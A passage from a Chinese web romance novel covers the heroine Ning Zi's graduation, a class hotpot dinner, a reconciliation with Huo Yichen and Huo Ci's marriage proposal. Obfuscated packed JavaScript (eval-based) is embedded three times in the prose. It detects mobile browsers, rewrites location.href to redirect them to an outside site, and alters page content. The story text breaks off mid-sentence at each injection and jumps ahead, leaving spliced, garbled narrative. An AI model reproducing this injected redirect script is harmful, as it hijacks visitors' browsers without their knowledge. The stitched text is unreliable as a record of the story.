“连怎么证明都没说,就武断拒绝,还说自己不怕?”宁姿笑眯眯盯着他看了半天,摇头晃脑说。 “激将法用得拙劣。”他慢悠悠地说。 “有效就行。”宁姿说完,又把安抚好的雪云塞回他手上,顽皮笑道,“好好抱着它,我就相信你是真的不怕。” 霍辞的脊背挺直了些,下颌线绷得有些紧,嘴上还逞强,“抱多久?” “你这样是不行的,手臂压住它的背了,胳膊往下挪一点。”她像个小老师一样认真指点,霍辞听她的话调整姿势。 “试着抚摸它的毛,慢一点,轻柔地。” 他手指略微一缩,最终还是顺从地抚摸白猫,小家伙发出咕噜咕噜的声音,表情很享受。 “其实没有那么可怕,对不对?”宁姿的脑袋凑过来,问。 霍辞“嗯”了声,立马改口,“我没怕过。” 她弯了弯唇角,拿叉子叉起一块切好的苹果送到他口中,管家招呼两人去餐厅。 霍家的餐桌是比较大的,霍老夫人特意交代把菜放得密集些,三个人挨近了坐,更有家的氛围。她的精神头好了不少,胃口也变好了。用餐期间,宁姿一直陪老人家说话,逗得老人家哈哈笑。霍辞比较安静,默默替二人盛汤。 “上回我提过一句卤鹅掌好吃,之后每回来都有这道菜。”宁姿夹起肥嫩的鹅掌,笑着说。 霍老夫人唇角微微弯起,语速较慢,“你们年轻人得多吃,爱吃什么都告诉我,给你们准备着,吃腻了也不怕,换别的吃。” 宁姿夹了一片竹笋到霍辞碗中,“别说伯母偏心,你喜欢吃的菜也准备了不少。” “我没说什么。”他嘴角一勾,埋头吃竹笋。 霍老夫人脸上写满幸福,也给他夹菜,“你最近瘦了。” 霍辞点头,轻声说“谢谢”。 饭吃得差不多,宁姿瘫坐在椅子上,感觉自己的胃都鼓了起来,老人家的爱就是这样,生怕孩子们被饿着,最后难逃吃撑的命运。 霍老夫人面容慈祥,鬓边的白发显出几分垂垂老矣的暮气,温声道:“霍氏饭店是你们费尽心力救回来的,实在是辛苦……” 看见老人眼角闪烁着晶莹的泪光,宁姿忙打断说:“不要这样说,我们也是家里的一份子。” “听我把话说完。”霍老夫人仿佛下定什么决心,握起宁姿和霍辞的手,交叠在一起,“霍氏饭店对我来说和我的生命一样宝贵,它倾注了我全部的心血,还是霍辞的父亲留给我的,寄托了太多回忆、思念与感情。我必须守护它,否则以后也没有脸面去见霍辞的父亲。” 她十分伤感,哽咽了一下,直视霍辞,“小辞,我问你,你依然不愿继承霍氏饭店吗?” 霍辞看着她,那双黑眸依旧坦然,低声说:“我对霍氏饭店有感情,但从未想过经营饭店。” “谢谢你坦率地回答我。经过这次事件,我确定霍亦辰不是一名合格的经营者,如果把霍氏饭店交给他,是对我和你父亲心血的践踏,也是对其他员工和顾客的不负责任。然而,我不得不服老,再没有精力管理饭店。”霍老夫人深吸一口气,接着说,“我有一个提议,希望风庭集团考虑以合理的价位收购霍氏饭店。” 霍辞讶然,没想到母亲会有这样的想法,反应了一会儿,劝道:“霍亦辰年纪轻,不是没有悔改的机会。” “也许会悔改,也许不会,我不能拿整个霍氏陪他赌。我疼爱这个孙儿,可不得不承认,我对他的教育是失败的。我盼望他能从这次事件吸取教训,改过自新。如果真能做到,自然有新的机会,但现在最要紧的是我要为霍氏饭店争取好机会。” 霍辞看明白她的决心,沉吟片刻后回答,“这件事不是我一个人能决定的,回公司后我会向全体股东提议,拟出收购方案,具体内容再和您讨论。” “你愿意做到这一步,我很高兴。”霍老夫人轻声道。 “风庭集团本就有进军酒店行业的计划,评估过市场,江城内大大小小的酒店数量众多,各种类型都有,基本达到饱和,本打算在二级市场建造经营,如果有收购江城内成熟五星级大酒店的机会,极可能会调整转变策略。”霍辞喂她吃下一颗定心丸,心念一动,又问,“舍得吗?” “不舍得,但我已经决定。我希望霍氏饭店能一直存在,即便是作为风庭集团旗下的一间酒店,它依然由霍家的子孙经营。我信任你,不论是人品还是能力都信任,相信它在你的手上会发展得越来越好。”霍老夫人十分动容,好几次话音发颤。 霍辞反握住她的手,“有霍辞一天,霍氏饭店就会存在。” 风庭集团对霍氏饭店的收购进行得很顺利,霍老夫人也正式退休了。 霍亦辰从老宅搬走,过起了独立的生活,他并不是与霍家决裂,大概是过不了内心的那道坎。经历过这次险些丧失至亲的危机,他先是逃避,终究难逃内心的审判,到祖母跟前认错。好在这一次他真的诚心悔过,人也变得成熟稳重了不少,不再争强好胜,一心一意专注学业。听说时常回老宅看望霍老夫人,然而宁姿和霍辞没有一次遇见过他,看来是有意避开。 经过这次转折点,他的命运与上一世截然不同,宁姿想,这的确是一件好事。即便在学校里遇见,两人也像不认识一样擦身而过,再一次和他有交集是在大四毕业典礼那天晚上的聚会时。 这一天,宁姿收到了毕业证和学位证,穿着学士服和同学们拍了很多照,最后一次走遍校园的每个角落,希望留下美好的回忆。二食堂的煎饺总是半生不熟,烤玉米却香甜可口;操场的跑道那么长,让她无数次怀疑不止八百米;关于二教的鬼故事,她从入学时就听说过,直到毕业又听了五六个不同的版本……这是度过四年青春的地方,认识了很多人,经历了许多事,蜕变成更成熟的自己。 天公作美,阳光灿烂又不过于浓烈,洒在每个人的身上,暖融融的,映照着一张张正值青春的面庞,拍出的照片也鲜活明媚。叶丽佳简直是一名拍照狂魔,相机拍完不算,还拿手机狂拍不止,乐此不疲。但她确实擅长拍照,积极主动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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由于她的发音不太标准,“金”字带了些后鼻音,还喊得特别大声,急得董筱伸手掩住她的嘴唇。叶丽佳不明白发生了什么事,挤眉弄眼、含糊不清道:“难道我索得不对咩?这么大一素,抱着都沉得要命!” 董筱红着脸左顾右盼,松开她,无奈地叹了口气。 许多人的目光被吸引到他们这边,有叶丽佳小喇叭的功劳,更因为这束金色海岸玫瑰太过耀眼。 宁姿小心地把卡片收好,心里被幸福塞满,脸上挂着恬淡的笑容。 “还有礼物,快打开让我们见识一下。”叶丽佳兴奋催促。 不知不觉已经凑过来许多人,全都充满好奇地打量宁姿手上包装精美的礼物盒。这群人里有一部分曾经在校园论坛上抹黑过她,此刻的目光半含嫉妒,半含审视。宁姿实在不自在,便说:“回家再看。” “别,我真好奇,不给看,等会儿聚餐都没胃口。”叶丽佳皱着一张小圆脸撒娇,她这个人就是半点都克制不住好奇心。 宁姿拿她没办法,轻摇了下头,只好在众目睽睽下打开礼物盒…… 82. 第八十二章 正校门恢弘大气,新教学楼矗立在远处,是现代化与古典相结合的设计风格,檐下飞凤、瓦楞雕兽,又与淡粉色的墙体相连,显出几分奇幻色彩,立柱上镶有四颗宝石红的石雕,尽显繁华气派。 不得不说,在这里拍照很出片,难怪每一届毕业的学子都会选择这里拍大合照。很多人都带了相机,但此刻却没人拍照,全围在一起等着看宁姿拆礼物。 宁姿感到无可奈何,掀开礼物盒的盖子,就听见许多同学一同吸气的声音。只见墨绿色的绒布上静静躺着一条手链,那是一条精美绝伦的红宝石手链,种质细腻通透,娇艳而璀璨,闪耀着温润华光,一看便知价格不菲。 “‘一见倾心’,1980年出现在苏富比拍卖行上的拍品。”有人认出了这条手链。 凡是有名字的珠宝,价值都不可用金钱去估量,况且这是一件曾受世界瞩目的拍品,虽然不知怎么会辗转到了霍辞手上,但在今天这个毕业的日子,它作为毕业礼物被赠予宁姿,可想而知她在他心里的重要性。其他人都在惊叹手链华美的外观和昂贵的价格,宁姿却在心里回味它的名字—— “一见倾心”……是否代表他的心意? “脸颊红红的哦。”董筱笑着打趣她。 宁姿不好意思地埋下脸,唇角咧开好看的弧度。董筱帮她把手链戴上,真得这般纤细白皙的皓腕才衬得上繁丽华贵的红宝石手链。耳旁已经响起了旁人的酸言酸语—— “这么贵的手链,说送就送,宁姿的男朋友真阔气。” “人家是名列榜前的富豪,最不缺钱,能拿钱换的东西,眉头都不会皱一下。对这种人来说,最重要的是时间和心意,毕业这么重要的日子,人不出席,送点东西算不了什么。” “这倒是,我男朋友虽然不是什么老板,但为了陪我,今天特意请假。” 宁姿觉得这些人真是无聊,都毕业了,还这副德性。叶丽佳一如既往心直口快,白眼一翻,嗓门一亮,“是是是,送手链没心意,也不看看你们刚才口水都快掉下来的丑态,怪我忘了拍下来,现在又说这种话,太搞笑了。” “尤其是你。”她扬高声线,手指向炫耀男友的那名女生,“特意请假,这种事也好炫耀。你男朋友空着手来连束花都没带,太寒碜,好歹去路边花台薅一把呀。还腆着张大脸参加毕业生聚餐,这可是班费支付,和蹭吃蹭喝有什么区别?” “你一个男朋友都没有的人,有什么资格对我男朋友指指点点?”那女生气不过,吵嚷道。 “那你一个礼物都没收到的人,有什么资格对宁姿指指点点?”叶丽佳都不需要反应的时间,张口就来,“不能只用物质评判一个男人是不是爱你,但连物质都舍不得付出的男人,一定不爱你。这么浅显的道理,我这个没谈过恋爱的人都清楚,劝你趁早醒悟,别抓块破烂木头就当是什么金砖宝贝地捧着。” 那女生被噎得说不出话,气哼哼地拽着男朋友走了。宁姿噗嗤一笑,点评道:“大学四年,丽佳的嘴皮子功夫越来越厉害了。” “不过体重怎么就没有半点变化呢?”叶丽佳的话惹得大家开怀大笑,很快忘记了刚才的不愉快。 “快过来,位置空出来了。”董筱站在写着“清远大学”的石碑旁,朝她们招手。 宁姿和叶丽佳赶紧跑过去,文成把相机架在支架上,设置好倒计时,然后快步跑到董筱身边站好。四人小分队在校门口的石碑留下了最满意的一张合照。此时此刻,仪式感达到顶峰,他们正式从学生的身份毕业。 每年毕业季,学校周边餐馆的生意都会变好,尤其是在毕业典礼当天,可以用火爆来形容。 建设三班的聚餐地点选在两条街外新开的一间火锅店,这间店以菜品新鲜、量大广受好评,没开多久,生意就好得不得了,好在身为班长的董筱聪明,提前订了位置,否则这个点来肯定得排队。 店内面积不大,没有包间,选定厅里靠窗的几张桌,通风好,不至于吃得太热。照顾到每个人的口味,点的是鸳鸯锅。这间店是自助取菜,想吃什么去冷柜里选,菜品丰富,鲜切牛羊肉和野菜都是最受欢迎的。 叶丽佳拉上董筱一块儿去拿菜,没想到托着取菜盘回来,位置被同班几名女生占了—— “宁姿,你男朋友真是大手笔,花好漂亮,还有那条红宝石手链,把我们这群没见过世面的给惊住了。” “听说你们是家族定亲,真羡慕你的好命,我爸妈怎么就没给我定一门这么好的亲事呢?” “跟你同窗那么久,我竟然才知道你未婚夫是风庭集团的霍总,你也太低调了。” “婚礼别忘了给我们这些老同学发请柬。” “你家霍总应该认识很多商界名流吧?” 叶丽佳把取菜盘一放,用力有些大,水溅到那些人的衣服上。她们埋怨地看向叶丽佳,叶丽佳哼笑一声,“还没吃就撑着了?一个个的装什么装?平时也没见你们对宁姿多好,冷眼冷语倒不少,这会儿做出亲热的样子给谁看?不就想巴结宁姿给你们介绍有钱人嘛。” 被戳中意图,那几名女生不乐意了—— “我们没有这个意思,你说话太难听。” “不能因为你自己长得难看,找不着好对象,就打压我们。” “你说谁难看?”叶丽佳气着了,眼睛瞪大,眉毛蹙紧。 那几名女生还想出言讽刺,董筱截断了她们的话,“麻烦坐回本来的位置,我们的包还放在这儿。” “坐回去吧,你们围在这里,挡住我了。”宁姿微笑道。 “挡住你夹菜了吗?我往边上挪一点。”其中一名女生反应很快,笑容讨好对她说。 宁姿无辜地看向她,“挡住手机信号了,我还得回一通电话。” 听这话,叶丽佳憋不住大笑出声,连董筱都偏过头笑了笑。能把这么离谱的话用正经语气说出来,也就只有她能办到了。 浓汤煮沸,热气蒸腾,同学们一同举杯,庆贺毕业,之后就正式开吃。热乎乎的火锅吃得人身上冒汗,宁姿尝试吃了一片红锅涮的羊肉,被辣得直吐舌头,连喝了三杯茶才勉强压下去,再也不敢挑战,还是乖乖在番茄锅里涮起野菜。 厅内每一桌都有人坐,基本全是清远的毕业生,有其他班的,还有其他系的。大家伙儿吃得热火朝天,聊天声、欢笑声不断,兴头正浓处,纷纷端起酒杯去其他桌敬酒。 “真一杯酒都不喝?”董筱给宁姿夹了片鱼肉,问。 宁姿没有犹豫,小声说:“我答应过霍辞,他不在的时候,不能喝酒。” “还没结婚呢,他人也不在,你还那么规矩,以后真结婚,不得成了夫管严?” 宁姿觉得这称呼有意思,笑了下,实话实说,“不知道为什么,就算他人不在这里,我心里依然毛毛的,总觉得只要一口酒下肚,他会立刻出现教训我。” “哪有那么灵验?讲鬼故事呢?”董筱表示不理解。 叶丽佳一个人喝了四瓶啤酒,平时看不出,她酒量确实好,在自己桌上敬了一圈人,还乐颠颠跑去其他桌敬酒,认识不认识的都抓来陪她干一杯,折腾一圈回来也就脸红了些,走路依旧四平八稳,说起话来中气十足。 “你们还记得张一妗吗?” 宁姿和董筱互看一眼,没有回应。叶丽佳提醒,“就是之前为难宁姿那个美术系的学姐,她和谭景天学长,就是家里开连锁美容院那个,两人谈恋爱,还跑到咱们跟前秀过恩爱。我听说他俩毕业后进了家族企业,本来两家说好要结亲家,婚礼场地都订了,结果这次张一妗家羽绒服质量被查出有问题,还货不对板,以次充好,拿鸭绒冒充。这事闹得很大,上过新闻,口碑算全砸了。谭景天那边闹着要退婚,还要把彩礼全数收回去,张一妗家不肯退,两边闹得不可开交,跟仇人一样。” “卷进这样麻烦的纠纷,肯定不好过。”董筱点评。 宁姿淡淡一笑,“跟咱们无关,今天毕业,多说些高兴的事。” 叶丽佳吐了吐舌头,“碰巧听说的,谁让她当时那么嚣张讨人厌,不过的确不该笑话别人的不幸,不说了。” 董筱给叶丽佳夹菜,把碗里堆得满满的,“多吃菜,不然真该醉了。” 宁姿的座位离叶丽佳远一些,便对董筱和文成说:“把她的碗递来,我去盛点小米粥。” “对,喝粥养胃。”董筱应和,伸手去拿碗,谁知文成也刚好伸手,二人的手不期然间在碗沿边碰触到一起,同样触感温暖而干燥,彼此对视一眼,默契地如同触电般缩回去,眼神也同一时间挪开,一个重重地垂向桌面,一个刻意地转向窗外。 全程都被宁姿看得一清二楚,觉出点意思,略微挑了下眉尾,淡淡一笑。 刚才还精神奕奕的叶丽佳这会儿脑袋有点晕,没看见二人的互动,一扭头定定地看着文成,“让你帮我拿碗,你脸红什么?” 文成表情错愕,眼神略微慌乱,下意识瞄向董筱。董筱不自然地抿了下唇,脸颊同样染上一层暧昧的绯色。 叶丽佳像发现新大陆一样对着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387680|133685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文成大呼小叫,“越说越脸红,我说你该不会……” 她刻意拖长音,卖个关子。天知道老实的文成已经紧张得忘记了呼吸,牙齿也咬紧了。 “不会暗恋我吧?” 叶丽佳这话一出口,文成表情骤变,满脸写着问号。董筱抿唇笑,低下头,宁姿坐在边上饶有兴致地看戏。 文成叹了声,张口想否认,叶丽佳抢先一步抬手制止他的话,语重心长地说:“我喜欢哥哥型,你太嫩了,我真心把你当朋友,别让我难做,OK?” 文成干笑两声当作回应,拿起空碗起身,去替她盛粥。 “我去看一看有没有菌类。”董筱交代一声,快步朝文成离去的方向追去。 叶丽佳又恢复了精神,和同桌几位同学热火朝天地划拳。 即便天色已全暗,街道华灯初上,厅内气氛依然热烈。只这一夜,狂欢过后所有人都蜕变作真正的大人,各自奔赴未知的前程,所以兴奋至极,不分班级、各系,也放下从前的摩擦和恩怨。 宁姿坐的这一桌就有好几名其他系的生面孔,原本坐在这一桌的人也有许多去其他桌聊天、游戏。 霍亦辰是随三名男生一起进店的,他们来得太晚,凑不到一桌去,于是被安排分散坐,正巧霍亦辰被安排在宁姿这桌。他坐在宁姿对面,没有看她,和身边的男生有一搭没一搭说着话。 火锅炉的开关在宁姿坐的位置,大家基本上都吃饱了,火被关小,这会儿又有人来,她把火开大,倒入新菜煮。 “你申请华威大学的研究生,已经录取通过了?”坐在这一桌的人里有一位卷发男生,常和霍亦辰一起打球,算是朋友,询问他的情况。 霍亦辰捞起一片刚煮好的藕片,“九月份开学,八月底就去英国了。” “假期约几场球。”卷发男和他碰杯,“深造镀金,前途无量。” 叶丽佳喝得差不多,这会儿趴在桌子上休息,宁姿拍她的背,为她顺气,心里想着原来霍亦辰要去英国读书了。 董筱和文成端着粥和菜回来时,放在桌面上的手机屏幕亮了起来,是霍辞来电。店内太嘈杂,宁姿去店外接听。 火锅店有两道门,正门在大街上,侧门连着河边的木制走道,她是从侧门出去的,身上吃得发热,吹吹晚风很是惬意舒爽。 “在哪里?”霍辞问,他那边背景音有些杂乱,看来是在人多的地方。 “学校附近的火锅店,上次我带你去过的那家。你在哪里?为什么那么吵?” 霍辞没有立即回答,隔了一会儿,他那边变得安静,看来是换了地方。 “现在不吵了吧?” 宁姿“嗯”了声,抬头望着夜空里寥寥几颗星子,唇角不自觉上翘,“有没有什么话想对我说,比如‘想我’?” “自然是先想你,再打电话。”他的嗓音听起来也含有笑意,“恭喜毕业,今天玩得开心吗?” “发生了很多有意思的事,大家跟疯了一样,就连沉稳的文成都喝了很多酒,走路都走不直。” “你有没有喝酒?” 霍辞这话一出口,她不自觉脊背挺直了些,“没有,一滴酒都没沾。”理直气壮,语气里还带了分小骄傲。 霍辞被她逗笑,“应该奖励。” “如果接受就太贪心,谢谢你送的花和礼物,我很喜欢。”宁姿抬起手,轻晃了晃,红宝石映着路灯暖调的光线,折射出莹莹光晕。 “毕业礼物和奖励不能混为一谈。”霍辞说。 她忍不住笑道:“那些人也没说错,你这种大老板就是挥金如土。” “还说什么了?” “多着呢,说手链多么昂贵,说你钱多,说我借了娃娃亲的好运才和你订婚,更多是夸你的话,把你夸得天上有地上无。有人想认识你,让我引荐,很多女同学想让你帮忙介绍对象。”宁姿一一列举。 霍辞听出了她的弦外之音,“我没考虑周到,少交代一句,礼物送得招摇,害你受累。” 宁姿不希望送礼物来的助理被责怪,劝慰说:“任谁都没想到挤在校门口拍照的人那么多,再说我也算大出风头,没受累,心情好着呢。” “那就算功过相抵,一定要有额外奖励。”他很执着,温声问,“想要什么?” 宁姿故意顿了下,一字一句反问:“想要什么都可以?” 霍辞毫不犹豫给予肯定答复。 宁姿一只手摆弄胸前的发丝,半晌说出一句,“想见你,你已经出差二十二天了。” 83. 第八十三章 “记得那么清楚?”电话里,霍辞的嗓音很温柔。 宁姿点了下头,表情委屈,声音也有些喑哑,“我从来不觉得自己黏人,但我真的好想你。” “要开车了,得挂电话,和同学们继续玩,今夜特许喝酒,但不能过量。” 他突然说要挂电话,令宁姿有些意外,尤其是在她倾情表白过后,半点回应都没有,只撂下这句话,她有点不高兴,“这么晚还要去哪里?不让司机开车吗?” “私人行程,让司机下班了。”霍辞简短回答,电话被挂断了,似乎真有急事。 宁姿心里不是滋味,但仔细想想,他从创业一步步走到今天,很不容易,分公司刚成立,估计又是去哪个聚会场所结识当地人脉。 心里不高兴的感觉消散,吹了会儿风,依然感觉炎热,她不打算立刻回到店里,而是顺着台阶走进巷子,打算找间超市买冰棍。谁知奇了怪了,走了三条巷子,都没找见一间超市,唯有一间小卖铺,还早早歇了业,又不甘心半途而废,于是走到大街上,终于如愿以偿找到一间还在营业的超市,买了一支巧克力味的冰棍吃。 绕路耽误了许多时间,她依然选择走河边的小道返回,回到火锅店时已经过去四十多分钟。 夜深如渊,月华凉似水,她信步漫走,一抬眼便看见路边一道被路灯映照的身影。宁姿犹豫了一下,还是保持原有的步伐走过去,她以为会直接错身而过,没想到忽然被叫住。 “宁姿,我是特意在这里等你的。”霍亦辰的黑眸直视她,“聊两句。” 宁姿没有答应,也没直接拒绝,站在原地不动,打算先听听看他要说什么,反正离火锅店很近,情况不对劲,抬脚就走。 霍亦辰刚才在抽烟,旁边就有垃圾桶,先把烟头摁灭,然后扔了进去,“现在说这些话有些迟,谢谢你和他守住霍氏饭店。” 停顿片刻,他又低声说:“真心的。” 宁姿反应了好一会儿,才明白他在道谢,“出力最多的人是霍辞,为什么不直接和他说?” 霍亦辰沉默了许久,正当宁姿以为他不会回应时,他又开口,“没准备好,勇气不够。” 宁姿双眼不自觉微微睁大了些,不敢相信这话是从霍亦辰的嘴里说出来的,他似乎真的改变了不少,性格沉稳,为人处世越发成熟,也敢于袒露心声。于是她也放下心中的芥蒂,拿出做长辈的姿态对他说:“不急,时间多着呢。” 他眼中一亮,点了下头,“毕业快乐。” “你也是。” 没什么别的话要说,两人同时沉默,夜风拂过河水拍打起水花的声音清脆明显,宁姿正打算进店,霍亦辰再度开口,“你给我讲的那个故事,我觉得男人并不是不爱妻子,只是他自己都不清楚。他厌烦长辈的安排、继承人的压力,不敢反抗,因此对长辈为他挑选的妻子充满排斥。他是个混蛋,会遭报应,但如果能提早看清自己的心,也许会有另一种结局。” 宁姿莞尔一笑,释然道:“也许。” 霍亦辰定定地看着她,“我打算放下你,正在努力中。” 宁姿不知该作何反应,有点尴尬。他看出来,语气轻快了些,“你和他快结婚了吧?那时候我人在英国,不能参加婚礼,提前祝你们幸福。” 宁姿正要开口道谢,结束这场既真诚又尴尬的对话,一道低沉磁性的嗓音却先响起—— “谢谢,我们一定会。” 宁姿和霍亦辰同时朝声音来源方向转身望去,正朝他们走来身形修长的男人,一身挺括西装,衬得人清贵威严,对方停在宁姿身边,一只胳膊慵懒地搭在她的肩上,“祝你学业有成,前程似锦。” “你……你怎么?”宁姿大吃一惊,简直怀疑自己在做梦,刚才说想见他,紧接着就大变活人了? 霍辞低头看她,满眼宠溺,“奖励必须兑现。” 刚才他打电话的时候就已经落地江城,人在机场,背景音杂乱了些。电话挂断后,立即开车到火锅店,计划给她一个惊喜,现在看来效果达到了。 “毕业的日子,我怎么能缺席?”他嘴角掀起淡淡笑意。 宁姿原本有一点缺憾,现在完全被幸福感填满,仰起脸凝视这张轮廓分明的俊脸,二十二天累积的思念让她目不转睛,连眨一下眼都舍不得。 她的眼里再也看不见旁人,霍亦辰以为自己有心理准备,直面这幅恩爱美满的画面时,心还是忍不住揪疼了一下,神色黯然,正要抬步离开,霍辞松开宁姿的肩,目光落在霍亦辰的脸上,路灯的暖色调照亮他沉凝的眼睛,他的嗓音似夜风般清冽,“别忘了给母亲打电话,任何时候都记住,你是霍家人,家人一直在背后支持你。” “记住了。”霍亦辰低声答,抬步走进灯火通明的店里。 宁姿脸上洋溢着柔和的笑容,发自内心觉得真好,血缘的羁绊是浓重而难以割舍的,即便有时迷路,回过头来,望见那个灯光亮起的地方,那便是家,随时引领你踏上温暖的归途。 她沉浸在思想中,没注意到自己还面朝着霍亦辰离开的方向,霍辞跨前一步,高大挺括的身躯挡在她面前,半晌,盯着她的眼睛,表情带了一丝不满的控诉,慢腾腾地说:“人都进去了还看,要不你跟进去,接着看?” 宁姿一乐,“我这是长辈关怀晚辈的目光。” “不行,不许太慈爱。” 他太过一本正经,反而逗得她笑了几声,“那些女同学把你夸得天花乱坠,不知道你是这样的,简直是一口大醋缸。” 霍辞也不装凶了,表情柔和下来,把她的手握在掌心,“订的是下午的机票,由于天气原因晚点了,现在才见上面,礼物没能亲手交给你。” 宁姿见他有些失落,如往常般笑吟吟开口,“我觉得挺好,惊喜一下子来得太猛,会把人砸晕,像现在这样一重接着一重来,才有源源不断的幸福感。” “什么事到你这里都变成好事。”霍辞抬起眼睫专注地看着她,两人四目相对,他慢悠悠道。 这时,不知道是哪位坐在窗边的同学眼尖,大声说:“你们看,宁姿旁边那个西装男好帅,身材像杂志上的模特,是不是她未婚夫?” 听见她说话的几名同学立马往窗边凑,探头探脑地看,“看不大清楚,轮廓和杂质上的照片一样。” “两人姿势那么亲密,肯定是。” “宁姿,快把你未婚夫带进来,让我们大家见一见!”有人大声地朝她喊。 宁姿暗叫一声“糟糕”,抚额叹息。 “进去吗?”霍辞询问她的意见。 宁姿摇头,再抬起眼看向他时,一双杏眸亮亮的,如银河辰星杂糅其间,“我们逃跑吧。” 霍辞从鼻端发出一声,质疑她思维的跳跃。宁姿有条不紊解释给他听,“你人不在,已经成为话题中心,要让他们见了你本尊,不得全扑过来?” “你讲的是动物世界。”他调侃道。 宁姿使出杀手锏,“信不信我?” 霍辞笑得欢畅,含混一句,“听你的,逃。” 宁姿笑了,随后又想起什么,表情转变为愁苦,“可我的花和包还在里面……” “等会儿让助理来取。” 宁姿长吁一口气,又觉得不太行,上身后仰,偏着脑袋打量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“选择风庭,不会干扰你学习。”一身西装把人衬得气质成熟,但说到这件事,他依然有点孩子气般执拗。 宁姿使出拿手的撒娇攻势,两只手拽着他的袖口软声软气说:“你直接许诺我设计师的职位,可见是偏袒的。” 霍辞认真解释,“我对你的设计能力有客观认知,反倒是你信心不够。在公事上我向来严谨公正,绝无偏私。” “你想过为什么那么多公司禁止办公室恋情吗?”她换了个思路。 霍辞眉梢微动,一副“洗耳恭听”的模样。 “因为太影响工作专注度,而且爱人间哪会没有摩擦?情绪波动难以平复,要是分开工作还好,能彼此冷静一下,在一起工作,很难做到冷静理智。”宁姿认真分析。 霍辞听进去了,但不认可,“我可以做到,并且我不认为分开冷静是上策,你的情绪该交给我安抚,而不是由时间冷却。至于有摩擦,我会让着你。” 他的话语直白而坚定,不假思索,真挚袒露内心的想法。宁姿听了,心中像淌着温泉,暖融融的,依然没忘记要说服他,“我做不到。” 树上飘飘忽忽地落下柳絮,他的目光朝她探来,宁姿踮起脚替他拿去发丝上沾着绒白的柳絮,解释道:“指的是第一条,工作专注度。你和我在同一个地方,我会想去你身边,看着你,我就想抱一抱你。不满足会不高兴,想着这事,满足了,我会贪心,还想着这事,还怎么工作?” 霍辞听她说这些歪理,止不住心情好,没法再反驳,唇角的弧度压不下。 84. 第八十四章 一小团飞絮落下,轻轻柔柔宛如冬日度假村的雪花。 宁姿心里窃喜早知道霍辞吃软不吃硬,赶紧趁热打铁多说几句,“就算你不偏私,其他人呢?领导、员工们能做到对老板娘一视同仁?我有过失的时候,他们会严厉指出?比较辛苦的工作,他们能安心交给我做?我不希望每天听到的都是好话,懒懒散散坐在办公室里吹空调,虚度时光。现阶段我最需要的就是辛勤历练和努力学习,这个时期你也曾经历过,不是吗?” 霍辞认可她的说法,也说出真实想法,“正因为经历过,才知不容易,如今有能力,希望心爱的人能在庇护下舒适地成长。” “舒适和成长本就不匹配,谁不是逆流而上练就一身本领?我不会输给你。” 他轻叹了口气,“都这样说了,我无话可说。等你历练学成,愿不愿来我身边做我最好的战友?” 宁姿眼珠微转,“那是很长一段时间以后,总之不是现在,交给未来的我决定。” “小狐狸,狡猾了不少。”他气哼哼曲起指节刮她的鼻子。 宁姿吐了吐舌头,“人总要长大,不能一辈子都被霍总压得死死的。” 霍辞乜了她一眼,毫不犹豫地上前捧起她的脸,“唯有一件事,不许你反口。” 宁姿心里猜到了,没说话,心脏骤然间猛烈跳动。霍辞双手不放,逼得她与自己相视,二人仅间隔咫尺的距离,说:“这一天我等了好久,恭喜毕业。” “这话你说过了。”她的脸颊发烫,不知是不是被他掌心的温度灼热。 “让我把话说完,顺利毕业,到你兑现承诺的时候了。”霍辞轻声说,“嫁给我。”他的嗓音磁性而柔和,饱含深情,散在夜风里,与轻柔地飘絮杂糅在一起。 宁姿感觉到,他贴在自己颊边的手指在隐隐发颤,甜甜一笑,一双杏眸似揉入了漫天星辰般明澈,“久等了,我们结婚吧。” 她柔软的发丝被风轻轻拂动,有一缕落在他的颊边,酥酥痒痒的。两人的眼里盛着对方的面容,微风和煦,月华自云层缝隙中漏下,心跳交织成独特的奏鸣曲,属于他,亦属于她,汇聚成彼此间独一无二的浪漫。 · 宁姿是个有仪式感的人,打算送自己一份毕业礼物。她的服装大多属于简约休闲风,符合学生的身份,但正式迈入职场,还是得备上一两身职业风的套装。 正好霍辞交代让司机接她去风庭总部大楼谈事,她猜想是让自己以妻子的身份在合作伙伴面前露个面。出席工作场合,适合打扮得成熟一些,于是在约定好的时间之前,她去了百货公司一趟,选了两身职业套装,一套是条纹元素的黑色西服搭配垂坠感长西裤,这一身的设计风格前卫,不会过于严谨,时尚舒适,另一套是中规中矩的白色西服配包臀裙,她选择换上了第一身。 又一眼看中一双皮质高跟鞋,付款后换上,虽然新鞋不大合脚,但她这人就是这样,愿意为了中意的设计稍微委屈一□□验感。 大多数女人天性爱购物,宁姿也是其中一员,本打算结束今天的购物行程,却在看见一款男士领带后走不动道。那是BVLGARI星空元素的领带,她一眼就被吸引,脑海里不自觉浮现出身着正装的霍辞戴着它的样子,人如美玉,清贵无双,当即决定刷卡拿下。 从商场出来后,宁姿上车去风庭大楼。其实刚才逛街逛到一半她就后悔了,不该买那双皮鞋,造型不错,但穿起来实在磨脚,并且越走越难受,下车的时候,她很确定自己的脚后跟已经被磨破。 “宁小姐,怎么了?”领她进门的秘书见她走得慢,回过身关切问。 宁姿摇了下头,加快步伐跟了上去。 